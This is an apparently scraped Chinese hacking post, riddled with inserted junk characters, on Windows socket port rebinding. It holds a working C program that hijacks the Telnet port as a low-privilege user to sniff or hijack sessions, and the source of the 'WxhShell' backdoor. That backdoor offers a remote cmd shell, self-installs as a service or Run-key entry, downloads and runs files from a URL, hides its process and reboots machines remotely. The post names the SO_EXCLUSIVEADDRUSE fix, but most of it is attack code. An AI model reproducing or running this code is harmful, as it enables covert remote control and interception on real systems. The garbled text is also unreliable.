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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2PlhnU Q7 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); cz9J&Le> WEj{2+ saddr.sin_family = AF_INET; "] V\ Y! 7\
_MA!:< saddr.sin_addr.s_addr = htonl(INADDR_ANY); S&!(h
{O TGF$zvd bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _c>ww<*3 E5^\]`9P 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 wG,"X'1 qf x*a88 这意味着什么?意味着可以进行如下的攻击: sGu.G WA(x]"" 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3lp'U&3`5 Lm4`O% 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) J>A9]%M 01?+j%k=m/ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 D0\>E}Y E TTVmm{6 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 Z<.&fZ^jS /2Wg=&H 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 BXYHJ sQ}|Lu9hZ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3xy2ZYw f5V-; 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 oy8jc];SO `>
%QCc\ #include gE6'A #include 1#=9DD$4 #include h <4`|Bg+ #include /i,n75/y? DWORD WINAPI ClientThread(LPVOID lpParam); Lu}jk
W* int main() %nZ:)J>kz { 9`*ST(0/ WORD wVersionRequested; `D77CC]vU DWORD ret; 5pJe`}O4 WSADATA wsaData; v#Rh:#7O%U BOOL val; B%8@yS SOCKADDR_IN saddr; =%m{|HQ` SOCKADDR_IN scaddr; J#$U<`j*G int err; ^bv^&V&IB SOCKET s; q-`&C SOCKET sc; SZKYq8ZA)V int caddsize; ~,}|~ HANDLE mt; lbAhP+B DWORD tid; Fx:38Ae wVersionRequested = MAKEWORD( 2, 2 ); lI?P_2AaS err = WSAStartup( wVersionRequested, &wsaData ); }MQ:n8
if ( err != 0 ) { Og 1-LP|X printf("error!WSAStartup failed!\n"); a$=~1@ return -1; @s1T|}AJ } 6M
>@DRZ'| saddr.sin_family = AF_INET; =^KgNQ |6Q5bV //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8* A%k1+ X)KCk2Ax saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /JS_gr@DK saddr.sin_port = htons(23); S9Sgd&a9 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) P PJ^;s { Yj@Sy printf("error!socket failed!\n"); Xfk
DMh return -1; xh2r?K@k> } ,m{R
m0 val = TRUE; i% 1UUI(W //SO_REUSEADDR选项就是可以实现端口重绑定的 {32m&a if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !5 }}mf { M{L- V printf("error!setsockopt failed!\n"); s`$}xukT return -1; *6?mZ*GYY } i"<W6 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; (\F9_y,6*\ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1b%Oi.; //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Cx2#
0$ tczJk1g} if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) bA)nWWSg= { J1G}l5N ret=GetLastError(); AIg4u(j printf("error!bind failed!\n"); %D4)Bqr return -1; 86=W}eV1r } blQ&QQL listen(s,2); i%FC
lMF while(1) GTR*3,rw { h[>pC"s?K caddsize = sizeof(scaddr); KA?}o^-F //接受连接请求 xE8?%N U sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "K(cDV Q if(sc!=INVALID_SOCKET) pWxk^qhe/ { 0#WN2f, <: mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); p-iFe\+ if(mt==NULL) _{jC?rzb { Z^> 4qf,k printf("Thread Creat Failed!\n"); D3C 7f' break; fQ5v?( } 9qftMDLZJ\ } F%6wdM W CloseHandle(mt); o-@01_j } 6bPxEILm closesocket(s); UDJjw WSACleanup(); S($/Ov return 0; o ks;G([ } @%,~5{Ir DWORD WINAPI ClientThread(LPVOID lpParam) I(*3n" { I,hw0e SOCKET ss = (SOCKET)lpParam; K%dQ;C*? SOCKET sc; 5f7id7SI unsigned char buf[4096]; ^t})T*hM0 SOCKADDR_IN saddr; 4H6Fq*W{k long num; M[`[+5v DWORD val; A&M_ J DWORD ret; `0qjaC //如果是隐藏端口应用的话,可以在此处加一些判断 A1prYD //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 s6~;)(r saddr.sin_family = AF_INET; a>OYJe saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4v`/~a saddr.sin_port = htons(23); 1O`V_d) if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Po)U!5Tm { ;0Z- printf("error!socket failed!\n"); 5[4wN(
) return -1; qHub+"2 } _|u}^MLO val = 100; AJ}FHym_ZQ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v/ N[)< { Ro]Z9C>1o ret = GetLastError(); Yk|6?e{+) return -1; +g
g_C'" } +bE{g@%@+ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %4Lo Em=U { KyNu8s k ret = GetLastError(); p9)YRLOh. return -1; Q/SO%E`E } )Dz]Pv]H' if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) VZt%cq { Wo
"s ;Z printf("error!socket connect failed!\n"); e8<}{N0,n closesocket(sc); C7dq=(p& closesocket(ss); !\7M7 return -1; 8lM=v> Xc } D>y5&` while(1) @/^<9 { Zye04&x9k //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "Ol:ni1 //如果是嗅探内容的话,可以再此处进行内容分析和记录 zwV!6xG //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \ UrD%;sq num = recv(ss,buf,4096,0); DP),~8 if(num>0) X:UlL"G send(sc,buf,num,0); &9flNoNR9 else if(num==0) th73eC' break; ^W$R{` num = recv(sc,buf,4096,0); Hl}lxK,] if(num>0) :f[ w send(ss,buf,num,0); eE'P)^KV else if(num==0) LL
e*|: break; p/(Z2N" } #$Zx ].[lc closesocket(ss); R%szN.cI closesocket(sc); oYN"L return 0 ; _ \4#I( } "|X'qKS(H{ S9!KI) le \f: ========================================================== , ~
1+MZ= O5r8Ghf) 下边附上一个代码,,WXhSHELL q%x i>H.:{ <OEIG0 ========================================================== 4,;*sc 6*
x\Q}fk?{t #include "stdafx.h" =p4n@C ]t)N3n6Bc #include <stdio.h> <KX9>e #include <string.h> LY0f`RX*& #include <windows.h> 9HJYrzf{% #include <winsock2.h> yo[Sh6r/9b #include <winsvc.h> |^-D&C(Eu #include <urlmon.h> 7nT|yL? Nqj@p<y/q #pragma comment (lib, "Ws2_32.lib") 4 *}H3-` #pragma comment (lib, "urlmon.lib") vCi`htm% zH~P-MqC #define MAX_USER 100 // 最大客户端连接数 MJiVFfYW #define BUF_SOCK 200 // sock buffer ntH`\ )xi #define KEY_BUFF 255 // 输入 buffer F2
B(PGa7 Cdz?+hb #define REBOOT 0 // 重启 0 8)f #define SHUTDOWN 1 // 关机 \H .Cmm^I 1 |{s8[;8 #define DEF_PORT 5000 // 监听端口 ML>M:Ik+ #;!@Pf #define REG_LEN 16 // 注册表键长度 32K& IfV #define SVC_LEN 80 // NT服务名长度 z"
tz-~ h)Fc<,vwBE // 从dll定义API BX$<5S@ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "9P @bA typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4vbGXb}! typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); lO cFF0' typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8?82 p HK :K~h // wxhshell配置信息 b|-)p+ba struct WSCFG { ;-`NT`
#2 int ws_port; // 监听端口 SY5}Bu# char ws_passstr[REG_LEN]; // 口令 @K!JE w\ int ws_autoins; // 安装标记, 1=yes 0=no pG"wQ char ws_regname[REG_LEN]; // 注册表键名
nT> v char ws_svcname[REG_LEN]; // 服务名 eHvUgDt char ws_svcdisp[SVC_LEN]; // 服务显示名 l 8?C[,K% char ws_svcdesc[SVC_LEN]; // 服务描述信息 :jv(-RTI char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C"kfxpCi int ws_downexe; // 下载执行标记, 1=yes 0=no 6qDt6uB char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" %!t9)pNc char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r5xm7- `c #qVTB@d }; 9@CRL= h rSH)LbJ // default Wxhshell configuration J\@g3oGw struct WSCFG wscfg={DEF_PORT, /x@aAJ| "xuhuanlingzhe", SWw!s&lP& 1, J.JD8o9sa "Wxhshell", 'a0M.*f}G "Wxhshell", K W&muD "WxhShell Service", HsTY* ^V "Wrsky Windows CmdShell Service", R=.?el "Please Input Your Password: ", lt-3OcC 1, Y\WQ0'y " http://www.wrsky.com/wxhshell.exe", 1Z
~C3)T= "Wxhshell.exe" ?jz\[0)s }; |kh{EUE
; e'uC:O.u // 消息定义模块 -6J <{1V char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zlP{1z;nV char *msg_ws_prompt="\n\r? for help\n\r#>"; k}:;`ST char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; :=*G7ZyW$
char *msg_ws_ext="\n\rExit."; }< '6FxR char *msg_ws_end="\n\rQuit."; *@bz<{! char *msg_ws_boot="\n\rReboot..."; H<!q@E
; char *msg_ws_poff="\n\rShutdown..."; gOnZ# char *msg_ws_down="\n\rSave to "; v76P?[ gw"SKp!] char *msg_ws_err="\n\rErr!"; w-JWMgY8w char *msg_ws_ok="\n\rOK!"; [5'HlHK Ba?1q%eG char ExeFile[MAX_PATH]; ! $mY.uu int nUser = 0; +w[ZMk HANDLE handles[MAX_USER]; gpyio1V> int OsIsNt; \xp0n "0%K3d+ SERVICE_STATUS serviceStatus; A5F(- SERVICE_STATUS_HANDLE hServiceStatusHandle; .WKJ37od 9nVb$pf e# // 函数声明
;@k=9o]A int Install(void); 1c QF(j_ int Uninstall(void); .aO6Y+Y int DownloadFile(char *sURL, SOCKET wsh); y@v)kN)Y9\ int Boot(int flag); {HY3E}YJL void HideProc(void); )SP"V~^Wn int GetOsVer(void); 'y!qrmMRr int Wxhshell(SOCKET wsl); Q\s+w){f% void TalkWithClient(void *cs); @_"cMU! int CmdShell(SOCKET sock); ShL!7y*rT{ int StartFromService(void); dH5*% int StartWxhshell(LPSTR lpCmdLine); syLdm3d| <gi~:%T VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :Ni#XZ{F-/ VOID WINAPI NTServiceHandler( DWORD fdwControl ); s@$0!8sxm D(Rr<-( // 数据结构和表定义 V+D5<nICr SERVICE_TABLE_ENTRY DispatchTable[] = >'Lkn2WI { kjPf%*3 {wscfg.ws_svcname, NTServiceMain}, u~*A-X[ {NULL, NULL} f_PH? }; #Pk{emYW ;{0alhMZ // 自我安装 1o/(fy int Install(void) OcMB)1uh\ { >"1EN5W
char svExeFile[MAX_PATH]; (M|DNDM'd HKEY key; Q?T+^J strcpy(svExeFile,ExeFile); (KN",u6F 0kCo0{+n // 如果是win9x系统,修改注册表设为自启动 c;/vzIJj if(!OsIsNt) { VF11eZ" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4Ia'Yr RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,<+:xl RegCloseKey(key); }l+_KA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |LJv* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z1
)1s RegCloseKey(key); BZhf/{h[@ return 0; esZhX)dS } 6bs-&Vf } %CnVK1u! } Ga9iPv else { `D=OEc x1`w{5;C 2 // 如果是NT以上系统,安装为系统服务 }~&0<8m SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [mwqCW& if (schSCManager!=0) HfH+U& { 1H.;r(c SC_HANDLE schService = CreateService ~]no7O4 ( `+(n+QS _ schSCManager, bxPa|s? wscfg.ws_svcname, {q$U\y%Rq wscfg.ws_svcdisp, w5y.kc; SERVICE_ALL_ACCESS, PW%ith1)< SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -*[)CR-{ SERVICE_AUTO_START, :RIqA/ SERVICE_ERROR_NORMAL, uPcx6X3] svExeFile, p q?# X0 NULL, i@6g9\x+
NULL, |FT.x9e- NULL, 6'mZM=d NULL, ~t2"L|i NULL U) xeta+ ); +%[,
m& if (schService!=0) *`qI<]! { w(_:+-rqQ< CloseServiceHandle(schService); L-U4
8 i CloseServiceHandle(schSCManager); x&u@!# d] strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Fv,c8f strcat(svExeFile,wscfg.ws_svcname); )CoFRqz<h if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dk1q9Tx RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d<
XY"Y% RegCloseKey(key); WxD$k3U return 0; `0W"[BY } `lm '_~=`& } Y:+:>[F CloseServiceHandle(schSCManager); MY\mo,# } aBQ --Sz } &<#1G
u_ ,0HID:& return 1; jX' pUO } @|<nDd{2 %#4;'\'5 // 自我卸载 ;j;U9-oh int Uninstall(void) 7o+VhW<|5 { 3Jda: HKEY key; &q4~WRnzJk _}\KC+n8 if(!OsIsNt) { ~FI} [6Dd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cuG;1,?b RegDeleteValue(key,wscfg.ws_regname); S+6YD0 RegCloseKey(key); y#Nrq9r: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S]T71W<i RegDeleteValue(key,wscfg.ws_regname); p}GTOJT} RegCloseKey(key); JSh'iYJ. return 0; H.n|zGQTB } GRL42xp'*D } 6,CK1j+tZ } Yx. t+a- else { LfrjC@_y wU]8hkl? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p8F$vx4, if (schSCManager!=0) V#1v5mWVx { LM"b% SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4K;0.W;~| if (schService!=0) N/0Q`cQ- { ;$!0pxL)s if(DeleteService(schService)!=0) { MD1d CloseServiceHandle(schService); <;+QK=f CloseServiceHandle(schSCManager); &,XPMT return 0; |M<R{Tt}nf } }
-hH2 CloseServiceHandle(schService); \sVzBHy d } hI<$lEB CloseServiceHandle(schSCManager); },5LrX`L } R 'mlKe x } W^:g_ 6xh-m return 1; XxB% } |QH )A z} VCiS0 // 从指定url下载文件 B%[#["Ol int DownloadFile(char *sURL, SOCKET wsh) +C`vO5\0 { { iLr$89 HRESULT hr; RKs_k`N0 char seps[]= "/"; .$G^c char *token; j\.pS^+ char *file; ^=cXL char myURL[MAX_PATH]; /xA`VyHO char myFILE[MAX_PATH]; 'HvW&~i( ER]C;DYX strcpy(myURL,sURL); ocp3J R_0 token=strtok(myURL,seps); |@>Zc5MY$ while(token!=NULL) MhFj>t
{ qP%[nY file=token; $U_1e' token=strtok(NULL,seps); H:1F=$0I9 } %s%e5hU QmPHf*w[ GetCurrentDirectory(MAX_PATH,myFILE); TlQ5'0&I strcat(myFILE, "\\"); Tkf4`Gxd strcat(myFILE, file); 5bK:sht send(wsh,myFILE,strlen(myFILE),0); Z q}Cl'f send(wsh,"...",3,0); 7,9zj1< hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c%n%,R> if(hr==S_OK) #0qMYe>Y return 0; exm*p/ else R&R{I/;i*. return 1; W9SEYkg
C%Op[H3 } DGAg#jh ORV'dr // 系统电源模块 37,)/8]lG int Boot(int flag) /z,+W9` { xaSiG HANDLE hToken; E[_-s TOKEN_PRIVILEGES tkp; N
aiZU <_Po/a!c3 if(OsIsNt) { '-X913eG! OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bzMs\rj\ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); BA0.B0+" tkp.PrivilegeCount = 1; dG]s_lb9H tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5HbPS%^. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Vuo 8[h> if(flag==REBOOT) { {[B` q if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iuq%Q\0@w return 0; b{JxTT}03 } _UeIzdV9 else { 0l %|2}a if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ] yXrD`J! return 0; G Q+g.{c } w.0]>/C } h5#V,$ else { le`_ if(flag==REBOOT) { gI~jf- w if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $3n@2 N` return 0; (kI@U![u } kIUb`b>B else { oG;;='* if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V$ss[fX return 0; HV6'0_R0 } ]O;Rzq{D( } )%5T*}j Mio~CJ"? return 1; IC7S
+v } 4mzWNr>fb 7_#i,|]58 // win9x进程隐藏模块 =i)k@w_(x void HideProc(void) 7^:0?Q { >;@hA*< eqE%ofW HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \=/^H if ( hKernel != NULL ) Me*]Bh { KIUa pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wKAc ;! ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (Sg52zv FreeLibrary(hKernel); ^E8eW } ~\m|pxcj NLxsxomj return; $.@)4Nu!_ } jlZW!$Iq Ot}
E // 获取操作系统版本 sj @'C@oK int GetOsVer(void) V<!E9/4rS { /\9X0a2h|E OSVERSIONINFO winfo; l;g8_uyjv7 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .<`Rq' GetVersionEx(&winfo); L~jKx)S% if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) IZ6[|Ach6 return 1; V+l>wMeo else u{ .UZTn return 0; ou@ P#:<B } z_J"Qk d98ZC+q // 客户端句柄模块 }A"%YDrNbG int Wxhshell(SOCKET wsl) )xQA+$H#4 { k w!1]N SOCKET wsh; 0: (@Y struct sockaddr_in client; ukSi9| 1-, DWORD myID; 8W"~>7/>D eS
jXaZh while(nUser<MAX_USER) 5sq#bvfJ o { f13%[RA9N int nSize=sizeof(client); d(L u|/~ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); { LJRdV if(wsh==INVALID_SOCKET) return 1; YDyi6x, B jR:#*<qD handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); pFg9-xd% if(handles[nUser]==0) Z\y@rp\l closesocket(wsh); @3K 4,s else 'N0/;k0ax nUser++; )nS;]7pB@ } d\V\,%&. WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }_L@CpG f,Sybf/uHh return 0; U:E:" } 0%^m 4+`<' t]Q // 关闭 socket +S:(cz80V void CloseIt(SOCKET wsh) @&]j[if(s { C/+8lA6NV closesocket(wsh); ?K/z`E!xhN nUser--;
xxm1Nog6 ExitThread(0); fO.gfHI } ?'h<yxu]u0 g!O(@Sqp1 // 客户端请求句柄 m4*Rr void TalkWithClient(void *cs) cV5Lp4wY? { @qH<4`y.^ c)M_&?J!5 SOCKET wsh=(SOCKET)cs; -~
`5kO~ char pwd[SVC_LEN]; 2Fce| Tn char cmd[KEY_BUFF]; Tp`by
1s char chr[1]; ('xu2 ;< int i,j; 'wX'}3_/g h2u>CXD while (nUser < MAX_USER) { R/iw#.Yy `W8GfbL if(wscfg.ws_passstr) { =1%3".
"n@ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l\*} //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Eq.?Ga //ZeroMemory(pwd,KEY_BUFF); (CH F=g i=0; ;{Y|n_ while(i<SVC_LEN) { UtiS?w6 :D ?%!Q 0 // 设置超时 N.u)Mbe fd_set FdRead; pWB)N7x& struct timeval TimeOut; oG5JJpLT FD_ZERO(&FdRead); PZRpH FD_SET(wsh,&FdRead); 5Y)!q?#H TimeOut.tv_sec=8; fdzD6KZI TimeOut.tv_usec=0; >=i47-H int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?PSm)
~Oa if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .) B _~tct Q4Q*5> if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'j!7
O+7y pwd =chr[0]; 6pQ#Zg()vp if(chr[0]==0xd || chr[0]==0xa) { ^[8e|,U pwd=0; ^ow[XEB% break; X{ZBS^M } >GgX-SZ% i++; r 06}@ 7 } )D@1V=9, BJk\p.BVN // 如果是非法用户,关闭 socket 6A/Nlk. if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Zcz)FP# } xZL`<3? ![:S~x1 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +?(2-RBd send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;vF8V`f "a6
wd while(1) { lbgnO s, >3X!c"#l ZeroMemory(cmd,KEY_BUFF); +*d,non6v (ZjIwA9> // 自动支持客户端 telnet标准 ?Gj$$IAe j=0; 3b{8c8N^ while(j<KEY_BUFF) { &H,j
.~a&l if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Hv<%_t_/ cmd[j]=chr[0]; l8%x(N4 if(chr[0]==0xa || chr[0]==0xd) { iH(
K[F / cmd[j]=0; =2)5_/9au break; OsAXHjX} } czb(&>< j++; QO7> XHn } 5}~*,_J2Z oFHVA!lqe // 下载文件 9ToM5oQ if(strstr(cmd,"http://")) { J~DP*}~XK send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7~eo^/PbS if(DownloadFile(cmd,wsh)) -Z<e`iFQS send(wsh,msg_ws_err,strlen(msg_ws_err),0); n@5pS3qZ else brNe13d3~" send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V@84Cb } usR19 _E- else { z>&Py( av gGz8 switch(cmd[0]) { V_~}7~
I '9*wr* // 帮助 W2yNEiH case '?': { Zo;@StN3}T send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jY:(Tv3~ break; ?qw&H /R } u|WX?@\ // 安装 &EmxSYL> case 'i': { ]NuY{T&: if(Install()) I4
Tc&b send(wsh,msg_ws_err,strlen(msg_ws_err),0); _w^p~To^ else C\.? 3 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?;|$R break; ]BP/KCjAI< } hof$0Fg // 卸载 wv
,F>5P case 'r': { AT+|}B! if(Uninstall()) eOD;@4lR send(wsh,msg_ws_err,strlen(msg_ws_err),0); }9:\# else }&rf'E9 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fbwo2qe@K break; 6}x^T)R } M$%aX,nk' // 显示 wxhshell 所在路径 vjZX8KAiZ case 'p': { EiP_V&\ char svExeFile[MAX_PATH]; 5xLuu KG strcpy(svExeFile,"\n\r"); _myam3[W strcat(svExeFile,ExeFile); !;'U5[}8 send(wsh,svExeFile,strlen(svExeFile),0); ')bx1gc(? break; o&;+!Si@T } {NKDmeg:D // 重启 y= cBpC case 'b': { [_L:.,]g8 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?_m;~>C if(Boot(REBOOT)) 0OEyJ|g send(wsh,msg_ws_err,strlen(msg_ws_err),0); )`-9WCd& else { O<iE,PN) closesocket(wsh); r&1N8o ExitThread(0); e@Z(z^V } AvEJX0"\df break; JF%+T yMe } u~1[nH: // 关机 g}$]K!F case 'd': { !z(POK send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bW3e*O$V if(Boot(SHUTDOWN)) q'3= send(wsh,msg_ws_err,strlen(msg_ws_err),0); *FK!^Y else { Z?XE~6aP> closesocket(wsh); vj[
.`fY ExitThread(0); $62ospR^Y } 9j:?s;B break; GZXUB0W\@) } l
K}('7\ // 获取shell L;fhJ~r case 's': { O#Xq0o CmdShell(wsh); I#Iu:,OT closesocket(wsh); 7,j}] ExitThread(0); kIrME: break; ut& RKr3 } +S^Uw'L$=T // 退出 a`q">T%q case 'x': { cEve70MV send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h+,zfVJu CloseIt(wsh); 2B=yT8 break; [% |i } @]Iku 6d- // 离开
Rc0OEs%7P case 'q': { *1ku2e]z send(wsh,msg_ws_end,strlen(msg_ws_end),0); #kA/,qyM closesocket(wsh); IA$:r@QNx8 WSACleanup(); opte)=]J exit(1); *;Hvx32I break; 7$Bq.Lc#z } ="d}:Jl } )(PA:j } r$=iM:kERC %$`pD
I ) // 提示信息 IZi1N if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 35B0L.R } 5z5#_*)O } EXS
1.3> y''`73U" return; p8%x@%k } ::9U5E;! +QtK
"5M // shell模块句柄 ojT TYR{ int CmdShell(SOCKET sock) `L]cJ0tAs { rzLpVpTaz STARTUPINFO si; Y71io^td~j ZeroMemory(&si,sizeof(si)); *]W{83rXQ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;pBSGr9 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,kpkXK PROCESS_INFORMATION ProcessInfo; ,l&Dt, char cmdline[]="cmd"; hG
uRV|` CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); HB||'gIC return 0; \P^WUWY } p#qQGJe #=OKY@z/ // 自身启动模式 :nCGqg int StartFromService(void) xl5mI~n_~ { +]Po!bN@@ typedef struct CS:j-> { 1bYc^(z0 DWORD ExitStatus; +Z/*=; DWORD PebBaseAddress; ;R@zf1UYA DWORD AffinityMask; sn@gchO9s DWORD BasePriority; r[q-O&2& ULONG UniqueProcessId; QPg
QM6 ULONG InheritedFromUniqueProcessId; O:{I9V-=>s } PROCESS_BASIC_INFORMATION; |XtN\9V. !X`
